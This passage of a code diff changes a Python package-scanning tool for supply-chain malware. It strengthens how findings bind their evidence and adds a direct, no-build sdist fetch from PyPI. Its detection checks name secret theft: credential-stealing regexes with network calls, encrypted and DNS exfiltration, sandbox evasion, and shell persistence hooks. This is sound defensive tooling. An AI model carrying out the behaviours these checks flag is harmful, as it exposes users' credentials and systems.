RE_NETWORK)}") + if has_keys: + evidence.append(f"Key: {_embedded_key_evidence(content)}") findings.append( Finding( CRITICAL, package, filename, "openssl encryption + network/key material (encrypted exfiltration)", - f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n" - f"Network: {_extract_evidence(content, RE_NETWORK)}", + "\n".join(evidence), ) ) @@ -721,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # Obfuscated payload: base64 + exec/eval + large blob if has_base64 and has_exec_eval and has_blob: + # Digest every blob too: a payload may sit on a separate line from the + # decode call, and a second encoded blob may be appended later, so + # binding only the base64/exec lines or the first blob would miss it. + _, blob_digest = _blob_digest(content) findings.append( Finding( HIGH, @@ -728,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: filename, "base64 decode + exec/eval + large encoded blob", f"Base64: {_extract_evidence(content, RE_BASE64)}\n" - f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}", + f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n" + f"Blob: sha256:{blob_digest}", ) ) @@ -753,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key + network calls (encrypted exfil pattern)", - f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n" + f"Key: {_embedded_key_evidence(content)}\n" f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) # Anti-analysis + any other suspicious pattern if has_anti and (has_network or has_subprocess or has_exec_eval): + # Bind the suspicious side too so a changed payload reopens. + evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_subprocess: + evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}") + if has_exec_eval: + evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}") findings.append( Finding( HIGH, package, filename, "Anti-analysis/sandbox evasion + suspicious behavior", - f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}", + "\n".join(evidence), ) ) # DNS exfiltration with dynamic hostnames if has_dns_exfil and (has_base64 or has_network or has_creds): + # Bind the co-occurring side so a changed exfil channel reopens. + evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"] + if has_base64: + evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}") + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_creds: + evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}") findings.append( Finding( HIGH, package, filename, "DNS exfiltration / tunneling patterns", - _extract_evidence(content, RE_DNS_EXFIL), + "\n".join(evidence), ) ) @@ -889,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key material", - _extract_evidence(content, RE_EMBEDDED_KEYS), + _embedded_key_evidence(content), ) ) @@ -932,23 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: return findings +_MAX_MULTILINE_LINES = 12 +# How far a single matched call is followed over its bracket continuations. A call +# that genuinely closes is bound all the way to its real close, up to the hard +# limit, so a ``requests.post(`` with many option/header lines before ``data=`` +# binds its whole argument list in the digest and a changed payload on a late +# continuation line reopens (a 40-line soft cap would hash only the first 40 lines +# and let a later ``data=``/headers change ride the baseline key). A bracket that +# never closes within the hard limit is a miscount (a multi-line string the +# single-line blanker cannot mask) or a stray opener, so it is bound only to the +# soft cap and cannot swallow unrelated code. +_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed +_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it + +# Cap a single rendered line. A short line is shown verbatim; a long (e.g. +# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full +# line, so a packed payload cannot dump unbounded content into the evidence and +# baseline while a change past the cutoff still changes the digest and reopens the +# finding. The npm scanner bounds its snippets the same way. +_MAX_LINE_CHARS = 200 +# Cap on recorded spans in one evidence string; beyond it the remaining spans are +# folded into a digest so a file with thousands of matching lines cannot build a +# multi-megabyte evidence blob, while an added/removed span past the cap still +# changes the key. Comfortably above the largest real baseline entry. +_MAX_EVIDENCE_SPANS = 96 + + +def _cap_line(code: str) -> str: + """Bound a single line's displayed code: return it verbatim when short, else a + ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still + pinned (fail-closed) without recording the entire line.""" + if len(code) <= _MAX_LINE_CHARS: + return code + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}" + + +_PY_TRIPLE = ("'''", '"""') + + +def _ends_with_odd_backslash(s: str) -> bool: + """True if ``s`` ends with an odd run of backslashes, i.e. a trailing + backslash that escapes the newline (a string/line continuation) rather than a + literal ``\\\\`` pair.""" + return (len(s) - len(s.rstrip("\\"))) % 2 == 1 + + +# Single-line quoted string literal; blanks complete one-line strings (the legacy +# view) so the single-line and multi-line blanked spans can be unioned below. +_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"") + + +def _blank_code_strings(lines: list[str]) -> list[str]: + """Replace string contents (single- and triple-quoted, escapes honoured) with + spaces across ``lines``, keeping the line count and every bracket OUTSIDE a + string intact. Bracket counting then never miscounts a ``)`` that lives inside + a string -- including a triple-quoted string spanning several lines, which a + per-line regex cannot blank.""" + out: list[str] = [] + in_triple: str | None = None # active ''' or \"\"\" delimiter, or None + in_string: str | None = None # active ' or " continued via a trailing backslash + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_triple is not None: + end = line.find(in_triple, i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + in_triple = None + continue + if in_string is not None: + # A single-/double-quoted string continued onto this line by a + # backslash-escaped newline. Resume blanking until its closing quote; + # if this line also ends on an odd trailing backslash the string + # continues again, otherwise it closes (or is unterminated) here. A + # per-line regex blanker cannot see this, so a `)` on the + # continuation line would otherwise be counted as code and close the + # call early -- dropping the URL/body lines that follow. + j, closed = i, False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == in_string: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + in_string = None + i = j + else: + i = n + if not _ends_with_odd_backslash(line): + in_string = None # unterminated without continuation; stop + continue + ch = line[i] + if ch in "'\"": + if line[i : i + 3] in _PY_TRIPLE: + delim = line[i : i + 3] + end = line.find(delim, i + 3) + if end == -1: # opens a triple string that runs past this line + buf.append(" " * (n - i)) + in_triple = delim + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + continue + j = i + 1 # single-line string; skip to its closing quote + closed = False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == ch: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + i = j + else: + # Ran off the line without closing: an odd trailing backslash + # escapes the newline and continues the string onto the next + # line, so remember the quote; otherwise it is just unterminated. + i = n + if _ends_with_odd_backslash(line): + in_string = ch + continue + buf.append(ch) + i += 1 + out.append("".join(buf)) + return out + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged + call; tracking the running minimum keeps that opener visible so the call's + argument lines still bind. Only bracket characters are walked (pulled out with + one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _scan_line_end(view: list[str], start: int) -> int: + """1-based line where the statement at ``start`` closes its brackets in + ``view`` (one blanked view of the file). A call that closes is followed to its + real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a + bracket that never closes within that hard limit (a stray/miscounted opener) is + bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file. + Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0) + so a closer that precedes the opener on the same line does not cancel it.""" + depth = 0 + hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1) + for j in range(start, hard + 1): + ln = view[j - 1] + left, right = _bracket_lr(ln) + depth = max(0, depth - left) + right + if ln.rstrip().endswith("\\"): + continue # explicit backslash continuation: the call (e.g. its `(` and + # URL/body) is on the next physical line, so do not close here + if depth <= 0: + return j + # Never closed within the hard limit: bind only the soft cap so a stray opener + # cannot bind a giant unrelated span. + return min(len(view), start + _MAX_CALL_LINES - 1) + + +def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int: + """1-based line where the statement opened at ``start`` closes, so a multi-line + call binds its argument lines (a changed URL/body on a continuation line + reopens, not just the API line). Returns the LARGER of the spans found in the + single-line-blanked view (legacy: a payload embedded inside a string still + counts, so its brackets bind the call) and the multi-line-blanked view (a + bracket inside a triple-quoted string argument no longer closes the call + early). Taking the union never shrinks the bound span below either view, so + neither blanking strategy can drop a continuation line a malicious change + relies on.""" + return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start)) + + def _extract_evidence( content: str, pattern: re.Pattern, - max_matches: int = 3, + max_matches: int = 0, ) -> str: - """Pull matching lines as evidence snippets.""" + """Pull matching lines as evidence snippets (``max_matches=0`` means all). + + Records every matching line in full, not a truncated sample, so an extra + match (or extra code on a long line) appended to an already-flagged file + changes the evidence and the baseline key instead of riding the first few. + Leading whitespace is kept so a flagged line moved out of a guarded block + reads as changed. Each single-line match is extended over bracket + continuations so a multi-line call binds its argument lines too. Cross-line + matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line + construct appended under a check that already had a one-line match) are + recorded afterwards, so an added multiline payload reopens the finding. A + pathological greedy span is bounded to its head line plus a digest of the + rest. + """ lines = content.splitlines() - matches = [] + sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines] + ml_blanked = _blank_code_strings(lines) + out = [] + seen: set[tuple[int, int]] = set() + # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS + # rendered spans, every further span is folded straight into a running digest + # instead of being materialized and sliced off at the end. On a minified or + # padded file with hundreds of thousands of matching lines that keeps memory + # and work bounded to the display cap rather than the match count, while the + # digest still covers every overflow span so an over-cap payload change + # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly + # (strip each span to its non-empty L-less code lines, join with "\n"), so + # the digest is identical to buffering the whole list and canonicalizing once. + overflow_count = 0 + overflow_hash = hashlib.sha256() + overflow_started = False + + def _emit(rendered: str) -> None: + nonlocal overflow_count, overflow_started + if len(out) < _MAX_EVIDENCE_SPANS: + out.append(rendered) + return + overflow_count += 1 + for piece in _RE_EVIDENCE_SPLIT.split(rendered): + piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip() + if not piece: + continue + if overflow_started: + overflow_hash.update(b"\n") + overflow_hash.update(piece.encode("utf-8", "replace")) + overflow_started = True + + def _render(start: int, end: int) -> str: + span = lines[start - 1 : end] or [""] + if len(span) > _MAX_MULTILINE_LINES: + # Digest the code without the L: markers so a pure line shift of + # the same span stays stable while a code change still reopens. The + # head is truncated for display only; the span digest already binds + # its full content, so no per-line digest is needed here. + code = "\n".join(ln.rstrip() for ln in span) + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + head = span[0].rstrip() + if len(head) > _MAX_LINE_CHARS: + head = head[:_MAX_LINE_CHARS] + "..." + return f"L{start}: {head} sha256:{digest}" + return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span)) + for i, line in enumerate(lines, 1): if pattern.search(line): - snippet = line.strip() - if len(snippet) > 160: - snippet = snippet[:160] + "..." - matches.append(f"L{i}: {snippet}") - if len(matches) >= max_matches: - break - return " | ".join(matches) if matches else "" + span = (i, _logical_line_end(sl_blanked, ml_blanked, i)) + if span in seen: + continue + # Only track spans while still filling the display list: past the cap + # every span is folded into the overflow digest, so growing `seen` with + # all of them would keep memory proportional to the match count (the + # behavior this cap exists to bound) on a generated file with millions + # of one-line matches. The per-line spans are unique by line number, so + # dropping them from `seen` past the cap cannot cause a missed dedup + # here; at worst the fallback re-folds an over-cap span into the same + # digest, which stays deterministic and still reopens on a change. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add(span) + _emit(_render(*span)) + if max_matches and len(out) >= max_matches: + return " | ".join(out) + + # Precompute newline offsets once so mapping a match offset to its 1-based line + # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter + # made this fallback quadratic on a minified file with thousands of matches. + nl = [p for p, ch in enumerate(content) if ch == "\n"] + for m in pattern.finditer(content): + start = bisect.bisect_left(nl, m.start()) + 1 + end = bisect.bisect_left(nl, m.end()) + 1 + if end <= start or (start, end) in seen: + continue # single-line matches are already covered by the pass above + # A giant greedy DOTALL span is bound by the full digest of its content + # (via _render, which renders a >12-line span as a head line plus a sha256 + # of the whole span). Binding only the anchors leaves the bridged interior + # unhashed, so an attacker could insert a new cross-line payload (a `/tmp` + # line and a later `subprocess` line, sharing no single line so the + # per-line pass never binds them) between unchanged outer anchors and keep + # the same key. Digesting the interior reopens on any such change; a pure + # line shift stays stable because the digest is over the markerless code. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add((start, end)) + _emit(_render(start, end)) + if max_matches and len(out) >= max_matches: + break + if overflow_count: + # The overflow digest was accumulated from the canonicalized (L:-less) + # spans as they were emitted, so a pure line shift above the overflow + # region does not change it and reopen an otherwise-unchanged finding, + # matching the per-span key's line-shift stability. + out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(out) + + +def _embedded_key_evidence(content: str) -> str: + """Key evidence that also pins the full PEM block(s) via a digest, so a key + body swapped under the same BEGIN marker reopens the finding (single-line and + DER keys are already bound by their full matched line).""" + ev = _extract_evidence(content, RE_EMBEDDED_KEYS) + blocks = RE_PEM_BLOCK.findall(content) + if blocks: + digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest() + ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}" + return ev + + +def _blob_digest(content: str) -> tuple[str, str]: + """First large blob (for display) plus a digest binding EVERY large blob, so + an appended or swapped encoded payload reopens the finding rather than riding + an unchanged first blob. Assumes at least one blob is present (single-blob + files keep the prior single-blob digest, so the baseline does not drift).""" + blobs = RE_LARGE_BLOB.findall(content) + digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest() + return blobs[0], digest # Non-Python checkers @@ -998,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "JS embeds credential regexes AND makes network calls (stealer)", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if has_workflow_inj: @@ -1011,17 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: _extract_evidence(content, RE_WORKFLOW_INJECT), ) ) - if is_large and not findings: - findings.append( - Finding( - HIGH, - package, - filename, - f"Python wheel ships large ({len(content) // 1024} KB) JS bundle " - "(uncommon; manually review)", - "", + # Pin the whole file's content digest to EVERY JS finding (not just large + # bundles). _extract_evidence blanks only Python string forms before counting + # brackets, so a JS backtick template literal that contains `)` can close a + # call's span early and omit the option/body lines that follow; binding the + # full content means a change to those omitted lines still reopens instead of + # riding the matched-line evidence. A large bundle with no other heuristic is a + # standalone HIGH. + if findings or is_large: + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() + if findings: + for f in findings: + f.evidence = f"{f.evidence} bundle-sha256:{digest}" + else: + findings.append( + Finding( + HIGH, + package, + filename, + # Size stays out of the check label (from main) so the baseline + # key does not drift when a benign bundle grows; the full-content + # digest below still binds the bytes so a payload swap reopens. + "Python wheel ships large JS bundle (uncommon; manually review)", + f"sha256: {digest}", + ) ) - ) return findings @@ -1041,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] if RE_DEV_TOOL_HIJACK.search(content) and ( RE_NETWORK.search(content) or RE_SUBPROCESS.search(content) ): + # Bind the hook AND the network/exec signal so a changed exfil reopens. + evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"] + if RE_NETWORK.search(content): + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if RE_SUBPROCESS.search(content): + evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}") findings.append( Finding( CRITICAL, @@ -1048,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] filename, "Shell installs developer-tool persistence hook (.bashrc / " "profile.d / vscode tasks) AND has network or exec", - _extract_evidence(content, RE_DEV_TOOL_HIJACK), + "\n".join(evidence), ) ) if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content): @@ -1058,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] package, filename, "Shell embeds credential regexes AND makes network calls", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if RE_WORKFLOW_INJECT.search(content): @@ -1390,6 +1960,394 @@ _PIP_DOWNLOAD_PIN_FLAGS = [ _RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]") +# sdist fallback. `--only-binary :all:` never builds an sdist (no setup.py +# exec), but a wheel-less project then can't be fetched at all and one such +# package fails the whole --with-deps resolve (exit 2) -- a coverage hole. So on +# resolve failure we drop to per-spec and fetch any sdist-only package's raw +# tarball from the PyPI JSON API for scan_archive() to read statically: no pip, +# no build, same no-exec guarantee. Transport failures are still exit 2; only +# "no wheel" is downgraded to a direct fetch. + +# How many levels of indirect-dep recovery to chase (a wheel dep whose own child +# is sdist-only, and so on). Bounded with dedup so recovery always terminates. +_MAX_DEP_FOLLOWUP_DEPTH = 2 +_SDIST_DOWNLOAD_TIMEOUT = 180 +# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap). +_MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES +# Direct sdist bytes only ever come from PyPI's own CDN; refuse anything else. +_TRUSTED_PYPI_HOSTS = frozenset({"files.pythonhosted.org", "pypi.org", "pypi.python.org"}) + + +def _spec_pin_version(spec: str) -> str | None: + """Return the ``==X.Y.Z`` pin from a spec, or None if unpinned.""" + m = _RE_PYPI_SPEC_VERSION.search(spec) + return m.group(1) if m else None + + +def _pypi_json(name: str, version: str | None = None) -> dict | None: + """Fetch PyPI metadata JSON (read-only HTTPS GET, no exec); None on error. + With ``version`` it fetches that release's document, whose ``requires_dist`` + is accurate for the pin (the project-level doc describes only the latest).""" + url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + if version: + url += "/" + urllib.parse.quote(version, safe = "") + url += "/json" + try: + req = urllib.request.Request(url, headers = {"Accept": "application/json"}) + with urllib.request.urlopen(req, timeout = 30) as resp: + if getattr(resp, "status", 200) != 200: + return None + data = resp.read(16 * 1024 * 1024) # metadata is small; cap regardless + return json.loads(data.decode("utf-8", errors = "replace")) + except Exception: + return None + + +def _release_files(meta: dict, version: str | None) -> list[dict]: + """Files for a pinned version, else the latest release's. A pin that is + absent or empty returns [] (never the latest) so a yanked/bad pin fails + closed instead of a different artifact being scanned in its place.""" + if version is not None: + return meta.get("releases", {}).get(version) or [] + return meta.get("urls", []) or [] + + +def _release_has_wheel(meta: dict, version: str | None) -> bool: + """True if the (pinned or latest) release publishes any bdist_wheel.""" + return any(f.get("packagetype") == "bdist_wheel" for f in _release_files(meta, version)) + + +def _is_trusted_pypi_url(url: str) -> bool: + """Only download sdist bytes from PyPI's own hosts, over HTTPS.""" + try: + parsed = urllib.parse.urlparse(url) + except Exception: + return False + return parsed.scheme == "https" and parsed.hostname in _TRUSTED_PYPI_HOSTS + + +_MARKER_ENV_VARS = ( + "sys_platform", + "platform_system", + "platform_machine", + "platform_release", + "platform_version", + "platform_python_implementation", + "os_name", + "python_version", + "python_full_version", + "implementation_name", + "implementation_version", +) + + +def _marker_holds_by_default(marker: str) -> bool: + """Keep (scan) a dep unless its marker is purely ``extra``-gated. The scanner + runs on one OS/Python but a package may be installed on another, so a marker + that can be true on a different target (``sys_platform == 'win32'``, + ``python_version == '3.13'``) is always kept; only a marker depending solely + on ``extra`` and false with no extra requested is dropped. Conservative: on + any uncertainty, keep (over-scan, never silently skip).""" + m = marker.strip() + if not m or "extra" not in m: + return True # no extra gate: installed by default on some target -> scan + if any(v in m for v in _MARKER_ENV_VARS): + return True # also platform/python gated: true on some target -> scan + # Pure extra marker: decide by evaluating with no extra requested. + try: + from packaging.markers import Marker, default_environment + + env = default_environment() + env["extra"] = "" + return bool(Marker(m).evaluate(env)) + except Exception: + # packaging missing/unparseable: drop only a pure positive extra-equality. + return re.fullmatch(r"\s*extra\s*==\s*['\"][^'\"]+['\"]\s*", m) is None + + +def _requires_dist_names(meta: dict) -> list[str]: + """Transitive dep specs (name + version specifier) from metadata, to recover + a sdist-only package's tree. The specifier is kept so a pinned malicious + version is fetched, not latest. Drops deps whose marker cannot hold for a + default install.""" + info = meta.get("info", {}) or {} + reqs = info.get("requires_dist") or [] + specs: list[str] = [] + for r in reqs: + if not isinstance(r, str): + continue + head = r + if ";" in r: + head, marker = r.split(";", 1) + if not _marker_holds_by_default(marker): + continue + if not _RE_NAME.match(head.strip()): + continue + # "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly). + specs.append(re.sub(r"\s+", "", head).replace("(", "").replace(")", "")) + return specs + + +def _requires_dist_for( + name: str, + version: str | None, + project_meta: dict, + errors: list[str] | None = None, +) -> list[str]: + """Declared deps for the pinned version, read from that release's metadata + (its ``requires_dist`` can differ from latest). Unpinned uses the + project-level (latest) document. A pinned version whose own metadata cannot + be fetched returns [] (never latest's deps) and, when ``errors`` is given, + records an incomplete-scan error so a partial tree is not read as "no deps".""" + if not version: + return _requires_dist_names(project_meta) + vmeta = _pypi_json(name, version) + if vmeta is None: + msg = f"metadata fetch failed for pinned {name}=={version}; dependency scan incomplete" + if errors is None: + print(f" [WARN] {msg}", file = sys.stderr) + else: + errors.append(msg) + return [] + return _requires_dist_names(vmeta) + + +def _download_sdist_direct( + name: str, + version: str | None, + dest: str, + *, + meta: dict | None = None, +) -> tuple[str | None, str | None]: + """Fetch a project's sdist tarball directly from PyPI (no pip, no build). + + Returns ``(filepath, error)``, one non-None. Suffix preserved for the archive + reader; bounded by ``_MAX_SDIST_BYTES`` and restricted to PyPI's CDN. + """ + if meta is None: + meta = _pypi_json(name) + if meta is None: + return None, f"PyPI metadata fetch failed for {name}" + picked: tuple[str, str] | None = None + for f in _release_files(meta, version): + if f.get("packagetype") == "sdist" and f.get("url") and f.get("filename"): + picked = (f["filename"], f["url"]) + break + if picked is None: + return None, f"no sdist published for {name} (version={version or 'latest'})" + fname, url = picked + if not _is_trusted_pypi_url(url): + return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}" + # basename + sanitize keeps the path inside dest; the char class preserves + # the real `.tar.gz` / `.zip` suffix so the archive reader picks the format. + safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz" + out = os.path.join(dest, safe_fname) + try: + req = urllib.request.Request(url, headers = {"Accept": "application/octet-stream"}) + with urllib.request.urlopen(req, timeout = _SDIST_DOWNLOAD_TIMEOUT) as resp: + if getattr(resp, "status", 200) != 200: + return None, f"sdist HTTP {getattr(resp, 'status', '?')} for {name}" + data = resp.read(_MAX_SDIST_BYTES + 1) + if len(data) > _MAX_SDIST_BYTES: + return None, f"sdist for {name} exceeds {_MAX_SDIST_BYTES} byte cap" + with open(out, "wb") as fh: + fh.write(data) + print( + f" [INFO] fetched sdist directly (no build) for {name}: {safe_fname}", + file = sys.stderr, + ) + return out, None + except Exception as exc: + return None, f"sdist download failed for {name}: {type(exc).__name__}: {str(exc)[:120]}" + + +def _pip_download_with_deps( + specs: list[str], + dest: str, + env: dict, + *, + timeout: int = 600, +) -> tuple[int, str]: + """One `pip download --with-deps --only-binary :all:` call. Returns (rc, stderr).""" + cmd = [ + sys.executable, + "-m", + "pip", + "download", + *_PIP_DOWNLOAD_PIN_FLAGS, + "--dest", + dest, + ] + list(specs) + try: + proc = subprocess.run(cmd, capture_output = True, text = True, timeout = timeout, env = env) + return proc.returncode, proc.stderr or "" + except subprocess.TimeoutExpired: + return 124, "pip download (with deps) timed out" + + +def _collect_flat_dir(dest: str, results: list[tuple[str, str]]) -> None: + """Append every archive in a flat dest dir as (pkg_name, path).""" + for fname in sorted(os.listdir(dest)): + fpath = os.path.join(dest, fname) + if os.path.isfile(fpath): + pkg_name = fname.split("-")[0].replace("_", "-").lower() + results.append((pkg_name, fpath)) + + +def _resolve_per_spec_with_deps( + specs: list[str], dest: str, env: dict, download_errors: list[str] +) -> None: + """Fallback when the bulk --with-deps resolve fails: resolve each spec alone. + + A still-failing spec is probed against PyPI: sdist-only -> direct fetch (deps + recovered one level); wheel-present but tree-unresolvable -> a --no-deps fetch + of just that package. Only a genuine fetch failure errors (caller exits 2); + unfetchable indirect deps are warned, since the named package is still scanned. + """ + sdist_dep_followups: list[str] = [] + for spec in specs: + name = _extract_pkg_name(spec) + version = _spec_pin_version(spec) + cmd = [ + sys.executable, + "-m", + "pip", + "download", + *_PIP_DOWNLOAD_PIN_FLAGS, + "--dest", + dest, + spec, + ] + try: + proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env) + except subprocess.TimeoutExpired: + download_errors.append(f"per-spec --with-deps timed out for {spec}") + continue + if proc.returncode == 0: + continue # archives landed in dest; collected by the caller + meta = _pypi_json(name) + if meta is not None and not _release_has_wheel(meta, version): + fpath, serr = _download_sdist_direct(name, version, dest, meta = meta) + if fpath is None: + download_errors.append(serr or f"sdist fetch failed for {name}") + continue + sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors)) + continue + # Has a wheel but the full transitive tree won't co-resolve + # (ResolutionImpossible) -- typically a package the requirement file + # installs with --no-deps by design (e.g. descript-audio-codec, whose + # own pins conflict). Fetch just the package itself with --no-deps so it + # is still scanned; its conflicting deps are out of scope here (the file + # excludes them on purpose). Only a genuine fetch failure is an error. + nd_cmd = [ + sys.executable, + "-m", + "pip", + "download", + "--no-deps", + *_PIP_DOWNLOAD_PIN_FLAGS, + "--dest", + dest, + spec, + ] + try: + nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env) + except subprocess.TimeoutExpired: + download_errors.append(f"per-spec --no-deps timed out for {spec}") + continue + if nd.returncode == 0: + print( + f" [INFO] {name}: full tree unresolvable; scanned the package " + f"alone (--no-deps), recovering deps individually.", + file = sys.stderr, + ) + # The --with-deps failure may have been a sdist-only TRANSITIVE dep, + # which --no-deps skips. Recover the declared deps so that class is + # still scanned (each is fetched as a wheel or direct sdist below). + if meta is not None: + sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors)) + continue + # --no-deps also failed: last-ditch sdist fetch at the pinned version. + if meta is not None: + fpath, _serr = _download_sdist_direct(name, version, dest, meta = meta) + if fpath is not None: + continue + download_errors.append( + f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}" + ) + + # Recover the transitive deps of sdist-only packages. A depth-bounded, + # deduped worklist so a wheel dep whose own child is sdist-only is itself + # fetched (--no-deps) and scanned -- not silently dropped -- and that child + # is then recovered in turn. `dep` carries the version specifier so a pinned + # version is fetched. + seen: set[str] = set() + worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups] + while worklist: + dep, depth = worklist.pop() + dep_name = _extract_pkg_name(dep) + key = _norm_pkg(dep_name) + if key in seen: + continue + seen.add(key) + dep_ver = _spec_pin_version(dep) + cmd = [ + sys.executable, + "-m", + "pip", + "download", + *_PIP_DOWNLOAD_PIN_FLAGS, + "--dest", + dest, + dep, + ] + try: + proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env) + except subprocess.TimeoutExpired: + print(f" [WARN] dep download timed out for {dep}", file = sys.stderr) + continue + if proc.returncode == 0: + continue + meta = _pypi_json(dep_name) + if meta is None: + print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr) + continue + if not _release_has_wheel(meta, dep_ver): + fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta) + if fpath is None: + print(f" [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr) + elif depth < _MAX_DEP_FOLLOWUP_DEPTH: + worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + continue + # Wheel published but its tree won't co-resolve (a sdist-only child). + # Fetch the dep alone so it is scanned, then chase its own declared deps. + nd_cmd = [ + sys.executable, + "-m", + "pip", + "download", + "--no-deps", + *_PIP_DOWNLOAD_PIN_FLAGS, + "--dest", + dest, + dep, + ] + try: + nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env) + except subprocess.TimeoutExpired: + print(f" [WARN] dep --no-deps timed out for {dep}", file = sys.stderr) + continue + if nd.returncode == 0: + if depth < _MAX_DEP_FOLLOWUP_DEPTH: + worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + continue + fpath, 